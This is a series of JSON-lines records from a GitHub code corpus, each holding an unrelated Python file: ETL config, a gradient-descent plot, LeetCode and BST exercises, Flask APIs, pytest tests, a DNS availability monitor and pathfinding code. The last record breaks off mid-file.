application_config_file = os.path.join(config_dir, os.path.join('your_new_config', 'config.yaml'))\n# tables_to_load = os.path.join(config_dir, os.path.join('your_new_config', 'tables_to_load.yaml'))\n# with open(application_config_file, 'r', encoding='utf-8') as stream:\n# ETL_CONFIG = yaml.safe_load(stream)\n# with open(tables_to_load, 'r', encoding='utf-8') as stream:\n# TABLES_TO_LOAD = yaml.safe_load(stream)\n# project_abs_path = os.path.dirname(os.path.dirname(__file__))\n\nelse:\n raise Exception(\"System Environment Variable 'ENV' has unacceptable value.\"\n \"Acceptable 'ENV' values are: 'dev', 'prod'\")\n\n__all__ = ['ETL_CONFIG', 'TABLES_TO_LOAD', 'project_abs_path']\n","repo_name":"anthony0bondar/sample_etl_structure","sub_path":"config/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2452,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"62"} +{"seq_id":"2101244016","text":"from mpl_toolkits.mplot3d import Axes3D\nfrom matplotlib import cm\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom mpl_toolkits.mplot3d.proj3d import proj_transform\nfrom matplotlib.text import Annotation\n\ndef f(x):\n return x**2\n\ndef df(x):\n return 2*x\n\nx = np.linspace(-10, 10, 101)\ny = lambda x: f(x)\n\nfig = plt.figure(figsize=(5,5))\nplt.plot(x, y(x))\nplt.title('2D gradient descent')\nplt.xlabel(r'$x$')\nplt.ylabel(r'$y$')\n\nx_init = -10\nX = [x_init]\nY = [y(x_init)]\n# Begin Gradient descent with N steps and a learning reate\nN = 10\nalpha = 0.3\n\nfor j in range(N):\n last_X = X[-1]\n this_X = last_X - alpha * df(last_X)\n X.append(this_X)\n Y.append(y(this_X))\n\n\ntheta = []\nfor j in range(len(X)):\n val_X = X[j]\n val_Y = Y[j]\n theta.append(np.array((val_X, val_Y)))\n\nfor j in range(N):\n if j>0:\n plt.annotate('',xy=theta[j], xytext=theta[j-1],\n arrowprops={'arrowstyle': '->', 'color': 'r', 'lw': 1},\n va='center', ha='center')\n plt.scatter(X[j], Y[j], s=40, lw=0)\n plt.pause(0.8)\n\n\nplt.show()","repo_name":"ManuLasker/Seminario","sub_path":"gradient_descent_explanation/prueba_1.py","file_name":"prueba_1.py","file_ext":"py","file_size_in_byte":1078,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"71562952196","text":"from typing import List\nimport random\nclass Solution:\n def findKthLargest(self, nums: List[int], k: int) -> int:\n heap = []\n for num in nums:\n heapq.heappush(heap, num)\n if len(heap) > k:\n heapq.heappop(heap)\n\n return heapq.heappop(heap)\n def findKthLargest(self, nums: List[int], k: int) -> int:\n def find_kth():\n def partition(left, right, i):\n v = nums[i]\n new_pivot_idx = left\n nums[i], nums[right] = nums[right], v\n for j in range(left, right):\n if nums[j] > v:\n A[j], A[new_pivot_idx] = A[new_pivot_idx], A[j]\n new_pivot_idx += 1\n return new_pivot_idx\n\n left, right = 0, len(nums) - 1\n while left <= right:\n pivot_idx = random.randint(left,right)\n new_pivot_idx = partition(left,right,pivot_idx)\n if new_pivot_idx == k-1:\n return nums[new_pivot_idx]\n elif new_pivot_idx > k-1:\n right = new_pivot_idx - 1\n else:\n left = new_pivot_idx + 1\n return find_kth()\n\n\"\"\"\nbrute force -> sort, n[-k] O(nlogn)\nor repeatedly recursion: O(n*k) -> O(n^2)\nlooking for something like O(n)?\n\nk largest, or n-k smallest\nprocessed + len(st) == k -> answer\n\neither sort, or use a k-heap =.=\n\"\"\"\n","repo_name":"nguyenhachuy/leetcode","sub_path":"215-kth-largest-element-in-an-array.py","file_name":"215-kth-largest-element-in-an-array.py","file_ext":"py","file_size_in_byte":1462,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"41979189273","text":"from flask import Blueprint\nimport pandas as pd\nimport requests\nimport json\n\napi_bp = Blueprint('api', __name__)\n\n\n@api_bp.route('/')\ndef api_home():\n return 'Preencha a URL com o parâmetro \"/ano\" ou \"/ano/mês\" para filtrar os feriados por mês.'\n\n\n@api_bp.route(f'//')\ndef feriados(ano):\n ano = str.strip(ano)\n if ano.isdigit() is False or ano is None or int(ano) < 1:\n return 'Insira um mês válido'\n try:\n # Response\n page = requests.get(f\"https://www.anbima.com.br/feriados/fer_nacionais/{str.strip(ano)}.asp\")\n # Dataframe gerado a partir do html da página.\n df_feriados = pd.read_html(page.text, match='Data', index_col=None, header=0)\n df_feriados = df_feriados[2]\n # Usando pandas.to_datetime() para converter de string para datetime64\n df_feriados[\"Data\"] = pd.to_datetime(df_feriados[\"Data\"], format=\"%d/%m/%y\")\n # Formatando a data no formato DD/MM/YYYY\n df_feriados[\"Data\"] = df_feriados[\"Data\"].dt.strftime('%d/%m/%Y')\n result = df_feriados.to_json(orient=\"index\")\n parsed = json.loads(result)\n return json.dumps(parsed, indent=4)\n except Exception as e:\n print(e)\n return 'Sem dados para exibição'\n\n\n@api_bp.route(f'//')\ndef feriados_ano_mes(ano, mes):\n mes = str.strip(mes)\n if mes.isdigit() is False or mes is None or int(mes) < 1 or int(mes) > 12:\n return 'Insira um mês válido'\n try:\n # Response\n page = requests.get(f\"https://www.anbima.com.br/feriados/fer_nacionais/{ano}.asp\")\n # Dataframe gerado a partir do html da página.\n df_feriados = pd.read_html(page.text, match='Data', index_col=None, header=0)\n df_feriados = df_feriados[2]\n # Usando pandas.to_datetime() para converter de string para datetime64\n df_feriados[\"Data\"] = pd.to_datetime(df_feriados[\"Data\"], format=\"%d/%m/%y\")\n # Filtrando por mês\n df = df_feriados[df_feriados['Data'].dt.month == int(mes)]\n # Formatando a data no formato DD/MM/YYYY\n df[\"Data\"] = df[\"Data\"].dt.strftime('%d/%m/%Y')\n result = df.to_json(orient=\"index\")\n parsed = json.loads(result)\n return json.dumps(parsed, indent=4)\n except Exception as e:\n print(e)\n return 'Sem dados para exibição'\n","repo_name":"wendellemosmoura/feriadosAPI","sub_path":"routes/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":2327,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"18061907095","text":"class Node(object):\n\n def __init__(self, data):\n self.data = data\n self.left = None\n self.right = None\n self.parent = None\n\n def __str__(self):\n return str(self.data)\n\n\ndef insert(root, data):\n if data <= root.data:\n if root.left is None:\n root.left = Node(data)\n root.left.parent = root\n return root.left\n else:\n return insert(root.left, data)\n else:\n if root.right is None:\n root.right = Node(data)\n root.right.parent = root\n return root.right\n else:\n return insert(root.right, data)","repo_name":"ThunderShiviah/code_guild","sub_path":"interactive-coding-challenges/graphs_trees/bst/bst.py","file_name":"bst.py","file_ext":"py","file_size_in_byte":648,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"62"} +{"seq_id":"26169992023","text":"import pytest\n\nfrom funcs import request, findPDF\n\n@pytest.fixture\ndef goodUrl():\n return [\"https://www.cs.odu.edu/~mweigle/courses/cs532/pdfs.html\",\n \"http://www.cs.odu.edu/~mln/pubs/ht-2018/hypertext-2018-nwala-bootstrapping.pdf\"] \n\n\n@pytest.fixture\ndef badUrl():\n return [\"www.cs.odu.edu/~mweigle/courses/cs532/pdfs.html\",\n \"https://www.goolge.com\"]\n\n\nclass TestFunctions:\n def test_request(self, goodUrl, badUrl):\n goodResponse = request(goodUrl[0])\n assert goodResponse.status_code == 200\n\n goodResponse = request(goodUrl[1])\n assert goodResponse.status_code == 200\n assert goodResponse.headers[\"content-type\"] == \"application/pdf\"\n assert goodResponse.headers[\"content-length\"] == \"994153\"\n\n # No value check\n assert request(badUrl[0]) is None\n # SSL error check\n assert request(badUrl[1]) is None\n\n def test_PDFs(self, goodUrl, badUrl):\n response = request(goodUrl[0])\n links = findPDF(response)\n assert len(links) == 8\n\n response = request(badUrl[0])\n links = findPDF(response)\n assert len(links) == 0\n\n testUrl = \"https://www.cs.odu.edu/~mweigle/\"\n response = request(testUrl)\n links = findPDF(response)\n assert len(links) == 0\n\n testUrl = \"https:://www.odu.edu\"\n response = request(testUrl)\n links = findPDF(response)\n assert len(links) == 0\n","repo_name":"TonyGrif/pdf-finder","sub_path":"tests/test_func.py","file_name":"test_func.py","file_ext":"py","file_size_in_byte":1454,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"25007357885","text":"import pytest\nimport re\n\nfrom fn_portal.data_upload.schemas.regular_expressions import (\n SPCMRK_REGEX,\n AGEST_REGEX,\n FDSAM_REGEX,\n)\n\nvalid_spcmrk = [\"0\", \"10\", \"11\", \"12\", \"20\", \"21\", \"30\", \"31\", \"32\"]\n\ninvalid_spcmrk = [\n \"\",\n \"1\",\n \"2\",\n \"3\",\n \"00\",\n \"01\",\n]\n\n\n@pytest.mark.parametrize(\"value\", valid_spcmrk)\ndef test_valid_spcmrk(value):\n \"\"\"Our spcmark regular expression should match all of our valid\n spcmarks.\"\"\"\n\n assert re.match(SPCMRK_REGEX, value) is not None\n\n\n@pytest.mark.parametrize(\"value\", invalid_spcmrk)\ndef test_invalid_spcmrk(value):\n \"\"\"our regular expression should not match spcmark values that are not\n valid\"\"\"\n assert re.match(SPCMRK_REGEX, value) is None\n\n\nvalid_agest = [\n \"0\",\n \"0\",\n \"1\",\n \"1A\",\n \"2\",\n \"23\",\n \"23A\",\n \"2A\",\n \"247A\",\n \"45\",\n \"4A\",\n \"4ABF\",\n \"5\",\n \"A\",\n]\n\n\ninvalid_agest = [\n \"\",\n \" \",\n \"01\",\n \"K0\",\n \"\\\\\",\n \"00\",\n \"10\",\n \"20\",\n \"50\",\n \"A0\",\n \"B0\",\n \"D0\",\n \"X0\",\n]\n\n\n@pytest.mark.parametrize(\"value\", valid_agest)\ndef test_valid_agest(value):\n \"\"\"Our spcmark regular expression should match all of our valid\n spcmarks.\"\"\"\n\n assert re.match(AGEST_REGEX, value) is not None\n\n\n@pytest.mark.parametrize(\"value\", invalid_agest)\ndef test_invalid_agest(value):\n \"\"\"our regular expression should not match spcmark values that are not\n valid\"\"\"\n assert re.match(AGEST_REGEX, value) is None\n\n\nvalid_fdsam = [\"0\", \"11\", \"12\", \"13\", \"21\", \"22\", \"23\"]\n\ninvalid_fdsam = [\n \"\",\n \"1\",\n \"2\",\n \"00\",\n \"01\",\n \"02\",\n \"20\",\n]\n\n\n@pytest.mark.parametrize(\"value\", valid_fdsam)\ndef test_valid_fdsam(value):\n \"\"\"Our spcmark regular expression should match all of our valid\n spcmarks.\"\"\"\n\n assert re.match(FDSAM_REGEX, value) is not None\n\n\n@pytest.mark.parametrize(\"value\", invalid_fdsam)\ndef test_invalid_fdsam(value):\n \"\"\"our regular expression should not match spcmark values that are not\n valid\"\"\"\n assert re.match(FDSAM_REGEX, value) is None\n","repo_name":"AdamCottrill/FishNetPortal","sub_path":"fn_portal/tests/pydantic_schemas/test_regex.py","file_name":"test_regex.py","file_ext":"py","file_size_in_byte":2051,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"39515972419","text":"\nodds = [1, 3, 5, 7, 9]\nlength_of_list = len(odds)\n\ndigits = [1, [2,2], 4, 5]\n# print(1 in digits)\n# print([2,2] in digits)\n\n\ndef count(s, value):\n \"\"\"Count the number of occurances of value \n in sequence s.\n \"\"\"\n total, index = 0, 0\n while index < len(s):\n element = s[index]\n if element == value:\n total += 1\n index += 1\n return total\n\ndef count_for(s, value):\n \n total = 0\n for element in s:\n if element == value:\n total += 1\n return total\n\npairs = [[1,2], [2,2], [3,3], [4,4]]\n\ndef same_pair(s):\n sum = 0\n for x, y in pairs:\n if x == y:\n sum += 1\n return sum\n\n\"\"\"\n Range : a range is a suquence of consecutive intergers.\n \n range(-2, 2) :: -2, -1, 0, 1\n \n Length: ending value - starting value\n Element selection - starting value + index\n\"\"\"\n# list consturctutor \nrange_list = list(range(4))\n\ndef sum_below(n):\n total = 0\n for i in range(n):\n total += i\n return total\n\ndef cheer():\n for _ in range(3):\n print('Go Bears')\n\n# print([x+1 for x in odds])\n# print([x for x in odds if 25 % x == 0])\n\ndef divisors(n):\n return [1] + [x for x in range(2, n+1) if n % x == 0]\n\n\"\"\"\n Strings are an Abstraction\n\"\"\"\nsrc = 'curry = lambda f: lambda x: lambda y: f(x, y)'\n\n\"\"\"Dictionary : allow us to associate values and keys\n\"\"\"\n\nnumerals = {'I': 1, 'V': 5,'X': 10}\n\nsquares = {x:x*x for x in range(10)}\n\n","repo_name":"Joshua0128/cs61a","sub_path":"lecture/11_container/ex.py","file_name":"ex.py","file_ext":"py","file_size_in_byte":1453,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"40000914948","text":"# -*- encoding: utf-8 -*-\n\"\"\"\nSIGNIFY\nsignify.app.clienting module\n\nTesting clienting with integration tests that require a running KERIA Cloud Agent\n\"\"\"\n\nfrom keri.core.coring import Tiers\nfrom keri.vc.proving import Creder\n\nfrom signify.app.clienting import SignifyClient\nfrom signify.app.credentialing import CredentialTypes\n\n\ndef list_credentials():\n url = \"http://localhost:3901\"\n bran = b'0123456789abcdefghijk'\n tier = Tiers.low\n\n client = SignifyClient(passcode=bran, tier=tier, url=url)\n\n identifiers = client.identifiers()\n aids = identifiers.list()\n\n assert len(aids) == 1\n aid = aids[0]['prefix']\n print(aid)\n credentials = client.credentials()\n\n creds = credentials.list(\"BankUser\", filtr={'-a-i': aid})\n assert len(creds) == 1\n\n creder = Creder(ked=creds[0]['sad'])\n print(creder.pretty(size=5000))\n\n # said = creder.said\n # print(f\"Exporting credential {said}\")\n # export = credentials.export(\"BankUser\", said)\n # print(export)\n\n\nif __name__ == \"__main__\":\n list_credentials()\n","repo_name":"WebOfTrust/signifypy","sub_path":"scripts/list_person_credentials.py","file_name":"list_person_credentials.py","file_ext":"py","file_size_in_byte":1049,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"62"} +{"seq_id":"71118140678","text":"import threading\nfrom typing import Any\nimport os\n\n\nthread_local = threading.local()\nthread_local.mode = None\n\n\ndef get_interactive_mode() -> str:\n if thread_local.mode is not None:\n return thread_local.mode\n\n mode = os.environ.get('CONFUGUE_INTERACTIVE', None)\n if not mode:\n mode = 'none'\n if mode not in ['all', 'missing', 'none']:\n mode = 'all'\n return mode\n\n\nclass interactive:\n \"\"\"A context manager that enables or disables the interactive editing mode.\n\n Args:\n mode: `'all'` to edit all values, `'missing'` to edit only missing values, or\n `'none'` to disable the interactive mode.\n \"\"\"\n\n def __init__(self, mode: str = 'all'):\n if mode not in ['all', 'missing', 'none']:\n raise ValueError('Invalid mode: {!r}'.format(mode))\n self.mode = mode\n self._orig_mode = None\n\n def __enter__(self) -> None:\n self._orig_mode = thread_local.mode\n thread_local.mode = self.mode\n\n def __exit__(self, e_type: Any, e_value: Any, e_traceback: Any) -> None:\n thread_local.mode = self._orig_mode\n self._orig_mode = None\n","repo_name":"cifkao/confugue","sub_path":"confugue/interactive_mode.py","file_name":"interactive_mode.py","file_ext":"py","file_size_in_byte":1142,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"62"} +{"seq_id":"14920834520","text":"#Monitor the availability of the service IP\nimport http.client\nimport os\nimport dns.resolver\n\n#定义域名IP列表和业务域名\niplist = []\n#www.baidu.com返回CNAME类型记录www.a.shifen.com.\nappdomain = \"www.a.shifen.com.\"\n\n#域名解析并把IP加入iplist\ndef get_iplist(domain=\"\"):\n try:\n #解析A类型记录\n A = dns.resolver.query(domain, 'A')\n except Exception as e:\n print(\"dns resolver error:{}\".format(e))\n return\n for i in A.response.answer:\n for j in i.items:\n iplist.append(j.address)\n return True\n\ndef checkip(ip):\n checkurl = ip + ':80'\n getcontent = \"\"\n #定义HTTP连接超时为5秒\n http.client.socket.setdefaulttimeout(5)\n #创建http连接对象\n conn = http.client.HTTPConnection(checkurl)\n try:\n conn.request(\"GET\", \"/\", headers = {\"Host\": ip})\n r = conn.getresponse()\n #获取页面前15个字符\n getcontent = r.read(15).decode('utf-8')\n finally:\n #当前15个字符与此处定义字符串相同时,判断连接良好\n if getcontent == \"\":\n print(\"{} [OK]\".format(ip))\n else:\n print(\"{} [ERROR]\".format(ip))\n\nif __name__ == \"__main__\":\n if get_iplist(appdomain) and len(iplist) > 0:\n for ip in iplist:\n checkip(ip)\n else:\n print(\"dns resolver error.\")\n","repo_name":"Nalkey/python","sub_path":"serviceIP_monitor.py","file_name":"serviceIP_monitor.py","file_ext":"py","file_size_in_byte":1386,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"18415911010","text":"'''\r\nCISC 352 - Assignment 2 - Pathfinding - pathfinding\r\nWritten by: Group 13\r\nDate last editted: March. 11, 2019\r\n\r\nThis program has four modules, and an additional experiment module that\r\nis only used to compile data on the performance of the two algorithms.\r\n\r\nMain - pathfinding.py\r\nfileIO.py\r\nfindpath.py\r\n[ graph.py ]\r\nexperiment.py\r\n\r\nThis module encapsulates the Graph object.\r\n'''\r\n\r\nclass Graph:\r\n '''\r\n The constructor of the Graph object,\r\n defines the map, start and goal attributes\r\n '''\r\n def __init__(self, grids):\r\n m = []\r\n for line in grids:\r\n m.append(line)\r\n self.map = m\r\n self.findSG(grids)\r\n\r\n '''\r\n This function identifies the indices of the start point\r\n and the goal state of the given input grid, and store them as tuples\r\n in the start and goal attributes.\r\n '''\r\n def findSG(self,grids):\r\n for y in range(len(grids)):\r\n if 'S' in grids[y]:\r\n #print(\"found start\")\r\n x = grids[y].index('S')\r\n self.start = (y,x)\r\n if 'G' in grids[y]:\r\n #print(\"found goal\")\r\n x = grids[y].index('G')\r\n self.goal = (y,x)\r\n\r\n\r\n '''\r\n This function takes the current node as argument\r\n finds all the neighboring nodes and add to a list\r\n (only up, down, left, right neighbors)\r\n returns this neighbor node list \r\n '''\r\n def neighbor(self, current):\r\n grids = self.map\r\n neighbors = []\r\n accepted = ['G', '_']\r\n range0 = len(grids)\r\n range1 = len(grids[0])\r\n top = (current[0]-1, current[1])\r\n bottom = (current[0]+1, current[1])\r\n left = (current[0], current[1]-1)\r\n right = (current[0], current[1]+1)\r\n \r\n if top[0] in range(range0) and top[1] in range(range1):\r\n if grids[top[0]][top[1]] in accepted:\r\n neighbors.append(top)\r\n if bottom[0] in range(range0) and bottom[1] in range(range1):\r\n if grids[bottom[0]][bottom[1]] in accepted:\r\n neighbors.append(bottom)\r\n if left[0] in range(range0) and left[1] in range(range1):\r\n if grids[left[0]][left[1]] in accepted:\r\n neighbors.append(left)\r\n if right[0] in range(range0) and right[1] in range(range1):\r\n if grids[right[0]][right[1]] in accepted:\r\n neighbors.append(right)\r\n\r\n return neighbors\r\n\r\n\r\n '''\r\n This function takes the current node as argument,\r\n finds all neighboring nodes including up, down, left,\r\n right, and diagonal neighbors.\r\n Returns all the neighboring nodes in a list \r\n '''\r\n def diagNeighbor(self, current):\r\n grids = self.map\r\n diagNei = self.neighbor(current)\r\n accepted = ['G', '_']\r\n range0 = len(grids)\r\n range1 = len(grids[0])\r\n bottomRight = (current[0]+1, current[1]+1)\r\n bottomLeft = (current[0]+1, current[1]-1)\r\n topRight = (current[0]-1, current[1]+1)\r\n topLeft = (current[0]-1, current[1]-1)\r\n \r\n if bottomRight[0] in range(range0) and bottomRight[1] in range(range1):\r\n if grids[bottomRight[0]][bottomRight[1]] in accepted:\r\n diagNei.append(bottomRight)\r\n if bottomLeft[0] in range(range0) and bottomLeft[1] in range(range1):\r\n if grids[bottomLeft[0]][bottomLeft[1]] in accepted:\r\n diagNei.append(bottomLeft)\r\n if topRight[0] in range(range0) and topRight[1] in range(range1):\r\n if grids[topRight[0]][topRight[1]] in accepted:\r\n diagNei.append(topRight)\r\n if topLeft[0] in range(range0) and topLeft[1] in range(range1):\r\n if grids[topLeft[0]][topLeft[1]] in accepted:\r\n diagNei.append(topLeft)\r\n\r\n return diagNei\r\n\r\n\r\n # This function is written for easier debugging process\r\n # it pretty prints the graph\r\n def printGraph(self):\r\n for line in self.map:\r\n print(line)\r\n\r\n \r\n#test\r\nif __name__ == \"__main__\":\r\n grids = ['XXXXXXXXXX',\r\n 'X___XX_X_X',\r\n 'X_X__X___X',\r\n 'XSXX___X_X',\r\n 'X_X__X___X',\r\n 'X___XX_X_X',\r\n 'X_X__X_X_X',\r\n 'X__G_X___X',\r\n 'XXXXXXXXXX']\r\n g1 = Graph(grids)\r\n print(g1.map)\r\n print(g1.start)\r\n print(g1.goal)\r\n print(g1.neighbor([6,4]))\r\n print(g1.diagNeighbor([6,4]))\r\n g1.printGraph()\r\n \r\n","repo_name":"deepweaver/Pathfinding_Alpha-Beta_Pruning","sub_path":"final_submit/graph.py","file_name":"graph.py","file_ext":"py","file_size_in_byte":4522,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"37151441064","text":"# coding=utf-8\nimport httplib2\nimport json\nimport re\nimport random\nimport string\nimport requests\nfrom flask import Flask, render_template, request, jsonify, url_for, flash, \\\n make_response\nfrom urlparse import urljoin\nfrom werkzeug.contrib.atom import AtomFeed\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.orm import sessionmaker, exc\nfrom database_setup import Base, Category, Item, User\nfrom flask import session as login_session\nfrom oauth2client.client import flow_from_clientsecrets\nfrom oauth2client.client import FlowExchangeError\nfrom itsdangerous import TimedJSONWebSignatureSerializer as Serializer\n\n__author__ = 'Shtav'\n\napp = Flask(__name__)\n\nAPPLICATION_NAME = \"Catalog\"\nCLIENT_SECRET = 'client_secrets.json' if app.debug is True else '/var/www/catalog-app/client_secrets.json'\nCLIENT_ID = json.loads(open(CLIENT_SECRET, 'r').read())['web'][\n 'client_id']\n\n# Connect to Database and create database session\n# TODO: errors in running this on Apache with check_same_thread set to true\nengine = create_engine('sqlite:///catalog.db', connect_args={'check_same_thread':False})\nBase.metadata.bind = engine\n\nDBSession = sessionmaker(bind=engine)\nsession = DBSession()\n\ndefault_img_url = 'http://img2.wikia.nocookie.net/__cb20130511180903/' \\\n 'legendmarielu/images/b/b4/No_image_available.jpg'\ndefault_picture_url = 'https://encrypted-tbn2.gstatic.com/images?q=tbn:ANd9G' \\\n 'cRm4xo-buhgKdRnRVIwPQhCC5SiF4hBn4VJOIP3k2gFy4CnfJYOeSsh'\n\nemail_pattern = \"^(([-a-zA–Z0-9!#$%&'*+/=?^_`{|}~.])|((^|\\.)\\\"((\\\\\\\")|(\\\\\\\\)\" \\\n \"|\\w|[-!#$%&'*+/=?^_`{|}~. \\[\\])(,:;<>@])*\\\"\\.?)*)+@[-a-zA-Z\" \\\n \"0-9.]+\\.[A-Za-z]{1,3}\"\n\n\n##########################\n# GET: RSS endpoint\n##########################\n@app.route('/api/recent.atom')\ndef recent_feed():\n feed = AtomFeed('Recent Articles', feed_url=request.url,\n url=request.url_root)\n try:\n items = session.query(Item).order_by(Item.timestamp).limit(15).all()\n except exc.NoResultFound:\n response = make_response(\n json.dumps('No items found. Please create some. %s' % url_for('/'),\n 400))\n response.headers['Content-Type'] = 'application/json'\n return response\n for item in items:\n creator = session.query(User).filter_by(id=item.user_id).one()\n feed.add(item.name, unicode(item.description),\n content_type='html',\n author=creator.name,\n updated=item.timestamp,\n url=make_external('category/' + str(item.category_id) +\n '/item/' + str(item.id) + '/'))\n return feed.get_response()\n\n\ndef make_external(url):\n return urljoin(request.url_root, url)\n\n\n##########################\n# GET: API and Page Rendering\n##########################\n# send initial page, client-side will handle routing\n@app.route('/')\n@app.route('/')\ndef index(path=''):\n print(path)\n if 'username' not in login_session:\n return render_template('index.html')\n else:\n return render_template('index.html', logged='true')\n\n\n# render login-form.html with state and client_id\n@app.route('/loginform')\ndef login_form():\n # function 'generate_random_string' is used before login because strong\n # security is not an issue before login and the generate\n # 'generate_csfr_token' requires a user_id to generate a code.\n # state = generate_random_string()\n # login_session['state'] = state\n return render_template(\"login-form.html\", client_id=CLIENT_ID)\n\n\n# CRUD operations for categories (complete)\n# c_id is category id\n@app.route('/api/category/', methods=['GET', 'POST'])\n@app.route('/api/category/', methods=['GET', 'POST', 'PUT', 'DELETE'])\ndef category_api(c_id=''):\n # return categories\n if request.method == 'GET' and 'user_id' in request.args:\n categories = session.query(Category).filter_by(\n user_id=request.args['user_id']).order_by(\n Category.timestamp).all()\n return json.dumps([r.serialize for r in categories])\n\n if request.method == 'GET' and c_id == '':\n categories = session.query(Category).order_by(Category.timestamp).all()\n return json.dumps([r.serialize for r in categories])\n elif request.method == 'GET':\n category = session.query(Category).filter_by(id=c_id).one()\n return json.dumps(category.serialize)\n\n if 'username' in login_session:\n # CREATE a CATEGORY, requires login\n if request.method == 'POST':\n if 'img_url' not in request.json:\n img_url = ''\n else:\n img_url = request.json['img_url']\n if 'name' in request.json and validate_exists(request.json['name']):\n valid, img_url, msg = validate_image_url(img_url)\n # Save new category.\n if valid == 200:\n new_category = Category(name=request.json['name'],\n img_url=img_url,\n user_id=login_session['user_id'])\n session.add(new_category)\n session.commit()\n return json.dumps({'message': 'Category created.',\n 'id': new_category.id}), 201\n else:\n return jsonify(message=msg), valid\n else:\n return jsonify(message='You must enter a name.'), 422\n # END CREATE\n\n # get category for PUT or DELETE, user_id, must match that of category.\n # user_id for PUT or DELETE\n category = session.query(Category).filter_by(id=c_id).one()\n if category is None:\n return jsonify(message='Category not found.'), 404\n if category.user_id != login_session['user_id']:\n jsonify(message='You are not the creator.'), 401\n\n # EDIT a CATEGORY, requires login and user_id match\n if request.method == 'PUT':\n if 'name' in request.json and validate_exists(request.json['name']):\n if 'img_url' not in request.json:\n img_url = ''\n else:\n img_url = request.json['img_url']\n valid, img_url, msg = validate_image_url(img_url)\n # Save edited category.\n if valid == 200:\n category.name = request.json['name']\n category.img_url = img_url\n session.add(category)\n session.commit()\n return json.dumps({'message': 'Category updated.',\n 'id': category.id}), 202\n else:\n return jsonify(message=msg), valid\n else:\n return jsonify(message='You must enter a name.'), 422\n # END EDIT\n\n # DELETE a CATEGORY, requires category id and signed user_id to match\n # category.user_id\n if request.method == 'DELETE':\n session.delete(category)\n session.commit()\n return jsonify(message='Category deleted.'), 204\n # END DELETE\n\n # Request that require login, but user is not logged in\n else:\n jsonify(massage='You must be logged in to complete this action.'), 401\n\n\n# CRUD operations for items (complete)\n# i_id is item id\n@app.route('/api/item/', methods=['GET', 'POST'])\n@app.route('/api/item/', methods=['GET', 'POST', 'PUT', 'DELETE'])\ndef item_api(i_id=''):\n # return items\n if request.method == 'GET' and 'category_id' in request.args:\n items = session.query(Item).filter_by(\n category_id=request.args['category_id']).order_by(\n Item.timestamp).all()\n return json.dumps([r.serialize for r in items])\n if request.method == 'GET' and 'user_id' in request.args:\n items = session.query(Item).filter_by(\n user_id=request.args['user_id']).order_by(Item.timestamp).all()\n return json.dumps([r.serialize for r in items])\n\n if request.method == 'GET' and i_id == '':\n items = session.query(Item).order_by(Item.timestamp).all()\n return json.dumps([r.serialize for r in items])\n elif request.method == 'GET':\n item = session.query(Item).filter_by(id=i_id).one()\n return json.dumps(item.serialize)\n\n if 'username' in login_session:\n # verify that the user owns the category in which they are\n # creating an item\n if request.method != 'DELETE':\n if 'category_id' not in request.json:\n return jsonify(message='You must select a category.'), 400\n category = session.query(Category).filter_by(\n id=request.json['category_id']).one()\n if category.user_id != login_session['user_id']:\n return jsonify(message='You do not own the category for '\n 'which this item is to be created.'), 401\n\n # CREATE an ITEM, requires login\n if request.method == 'POST':\n if 'img_url' not in request.json:\n img_url = ''\n else:\n img_url = request.json['img_url']\n if 'name' in request.json and validate_exists(request.json['name'])\\\n and 'category_id' in request.json and \\\n validate_exists(request.json['category_id']):\n valid, img_url, msg = validate_image_url(img_url)\n # Save new item.\n if valid == 200:\n if 'description' not in request.json:\n description = ''\n else:\n description = request.json['description']\n new_item = Item(name=request.json['name'],\n description=description,\n img_url=img_url,\n category_id=request.json['category_id'],\n user_id=login_session['user_id'])\n session.add(new_item)\n session.commit()\n return json.dumps({'message': 'Item created.',\n 'category_id': new_item.category_id,\n 'id': new_item.id}), 201\n else:\n return jsonify(message=msg), valid\n else:\n return jsonify(message='You must enter a name.'), 422\n # END CREATE\n\n # get item for PUT or DELETE, user_id, must match that of\n # category.user_id for PUT or DELETE\n item = session.query(Item).filter_by(id=i_id).one()\n if item is None:\n return jsonify(message='Item not found.'), 404\n if item.user_id != login_session['user_id']:\n jsonify(message='You are not the creator.'), 401\n # EDIT an ITEM, requires login and user_id match\n if request.method == 'PUT':\n if 'name' in request.json and validate_exists(request.json['name'])\\\n and 'category_id' in request.json and validate_exists(\n request.json['category_id']):\n if 'img_url' not in request.json:\n img_url = ''\n else:\n img_url = request.json['img_url']\n valid, img_url, msg = validate_image_url(img_url)\n # Save edited item.\n if valid == 200:\n item.name = request.json['name']\n item.description = request.json['description']\n item.img_url = img_url\n item.category_id = request.json['category_id']\n session.add(item)\n session.commit()\n return json.dumps({'message': 'Item updated.',\n 'category_id': item.category_id,\n 'id': item.id}), 202\n else:\n return jsonify(message=msg), valid\n else:\n return jsonify(message='You must enter a name.'), 422\n # END EDIT\n\n # DELETE an ITEM, requires item id and user_id match\n if request.method == 'DELETE':\n session.delete(item)\n session.commit()\n return jsonify(message='Category deleted.'), 204\n # END DELETE\n\n # Request that require login, but user is not loggedin\n else:\n jsonify(massage='You must be logged in to complete this action.'), 401\n\n\n##########################\n# User Authentication\n##########################\n@app.route('/api/gconnect', methods=['POST'])\ndef gconnect():\n # Validate state token\n # All responses receive a _csrf_token, if the user is signing in with gplus,\n # the token is not popped and validated in csrf_protect_read, but is\n # validated here. On the frontend, the app sends the callback 